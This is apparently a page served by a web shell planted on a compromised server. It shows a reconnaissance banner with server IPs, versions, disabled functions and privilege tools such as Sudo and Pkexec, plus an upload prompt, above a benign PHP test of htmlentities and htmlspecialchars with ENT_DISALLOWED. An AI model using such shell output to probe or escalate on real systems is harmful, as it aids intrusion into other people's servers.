????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 13.58.215.45 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/strings/ |
Upload File : |
--TEST-- htmlentities() / htmlspecialchars() ENT_DISALLOWED --FILE-- <?php function codepoint_to_utf8($k) { if ($k < 0x80) { $retval = pack('C', $k); } else if ($k < 0x800) { $retval = pack('C2', 0xc0 | ($k >> 6), 0x80 | ($k & 0x3f)); } else if ($k < 0x10000) { $retval = pack('C3', 0xe0 | ($k >> 12), 0x80 | (($k >> 6) & 0x3f), 0x80 | ($k & 0x3f)); } else { $retval = pack('C4', 0xf0 | ($k >> 18), 0x80 | (($k >> 12) & 0x3f), 0x80 | (($k >> 6) & 0x3f), 0x80 | ($k & 0x3f)); } return $retval; } $tests = array( 0x00, //C0 0x01, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x1F, 0x20, //allowed always 0x7F, //DEL 0x80, //C1 0x9F, 0xA0, //allowed always 0xD7FF, //surrogates 0xD800, 0xDFFF, 0xE000, //allowed always 0xFFFE, //nonchar 0xFFFF, 0xFDCF, //allowed always 0xFDD0, //nonchar 0xFDEF, 0xFDF0, //allowed always 0x2FFFE, //nonchar 0x2FFFF, ); $tests2 = array_map('codepoint_to_utf8', $tests); $subchr = codepoint_to_utf8(0xFFFD); function test($flag) { global $tests, $tests2; $i = -1; foreach ($tests2 as $test) { $i++; $a = htmlentities($test, $flag | ENT_DISALLOWED, "UTF-8"); $b = htmlspecialchars($test, $flag | ENT_DISALLOWED, "UTF-8"); if ($a == "" && $b == "") { echo sprintf("%05X", $tests[$i]), ": INVALID SEQUENCE\n"; continue; } echo sprintf("%05X", $tests[$i]), ": ", bin2hex($a), " ", bin2hex($b), "\n"; } } echo "*** Testing HTML 4.01 ***\n"; test(ENT_HTML401); echo "\n*** Testing XHTML 1.0 ***\n"; test(ENT_XHTML); echo "\n*** Testing HTML 5 ***\n"; test(ENT_HTML5); echo "\n*** Testing XML 1.0 ***\n"; test(ENT_XML1); ?> --EXPECT-- *** Testing HTML 4.01 *** 00000: efbfbd efbfbd 00001: efbfbd efbfbd 00009: 09 09 0000A: 0a 0a 0000B: efbfbd efbfbd 0000C: efbfbd efbfbd 0000D: 0d 0d 0000E: efbfbd efbfbd 0001F: efbfbd efbfbd 00020: 20 20 0007F: efbfbd efbfbd 00080: efbfbd efbfbd 0009F: efbfbd efbfbd 000A0: 266e6273703b c2a0 0D7FF: ed9fbf ed9fbf 0D800: INVALID SEQUENCE 0DFFF: INVALID SEQUENCE 0E000: ee8080 ee8080 0FFFE: efbfbe efbfbe 0FFFF: efbfbf efbfbf 0FDCF: efb78f efb78f 0FDD0: efb790 efb790 0FDEF: efb7af efb7af 0FDF0: efb7b0 efb7b0 2FFFE: f0afbfbe f0afbfbe 2FFFF: f0afbfbf f0afbfbf *** Testing XHTML 1.0 *** 00000: efbfbd efbfbd 00001: efbfbd efbfbd 00009: 09 09 0000A: 0a 0a 0000B: efbfbd efbfbd 0000C: efbfbd efbfbd 0000D: 0d 0d 0000E: efbfbd efbfbd 0001F: efbfbd efbfbd 00020: 20 20 0007F: 7f 7f 00080: c280 c280 0009F: c29f c29f 000A0: 266e6273703b c2a0 0D7FF: ed9fbf ed9fbf 0D800: INVALID SEQUENCE 0DFFF: INVALID SEQUENCE 0E000: ee8080 ee8080 0FFFE: efbfbd efbfbd 0FFFF: efbfbd efbfbd 0FDCF: efb78f efb78f 0FDD0: efb790 efb790 0FDEF: efb7af efb7af 0FDF0: efb7b0 efb7b0 2FFFE: f0afbfbe f0afbfbe 2FFFF: f0afbfbf f0afbfbf *** Testing HTML 5 *** 00000: efbfbd efbfbd 00001: efbfbd efbfbd 00009: 265461623b 09 0000A: 264e65774c696e653b 0a 0000B: efbfbd efbfbd 0000C: 0c 0c 0000D: 0d 0d 0000E: efbfbd efbfbd 0001F: efbfbd efbfbd 00020: 20 20 0007F: efbfbd efbfbd 00080: efbfbd efbfbd 0009F: efbfbd efbfbd 000A0: 266e6273703b c2a0 0D7FF: ed9fbf ed9fbf 0D800: INVALID SEQUENCE 0DFFF: INVALID SEQUENCE 0E000: ee8080 ee8080 0FFFE: efbfbd efbfbd 0FFFF: efbfbd efbfbd 0FDCF: efb78f efb78f 0FDD0: efbfbd efbfbd 0FDEF: efbfbd efbfbd 0FDF0: efb7b0 efb7b0 2FFFE: efbfbd efbfbd 2FFFF: efbfbd efbfbd *** Testing XML 1.0 *** 00000: efbfbd efbfbd 00001: efbfbd efbfbd 00009: 09 09 0000A: 0a 0a 0000B: efbfbd efbfbd 0000C: efbfbd efbfbd 0000D: 0d 0d 0000E: efbfbd efbfbd 0001F: efbfbd efbfbd 00020: 20 20 0007F: 7f 7f 00080: c280 c280 0009F: c29f c29f 000A0: c2a0 c2a0 0D7FF: ed9fbf ed9fbf 0D800: INVALID SEQUENCE 0DFFF: INVALID SEQUENCE 0E000: ee8080 ee8080 0FFFE: efbfbd efbfbd 0FFFF: efbfbd efbfbd 0FDCF: efb78f efb78f 0FDD0: efb790 efb790 0FDEF: efb7af efb7af 0FDF0: efb7b0 efb7b0 2FFFE: f0afbfbe f0afbfbe 2FFFF: f0afbfbf f0afbfbf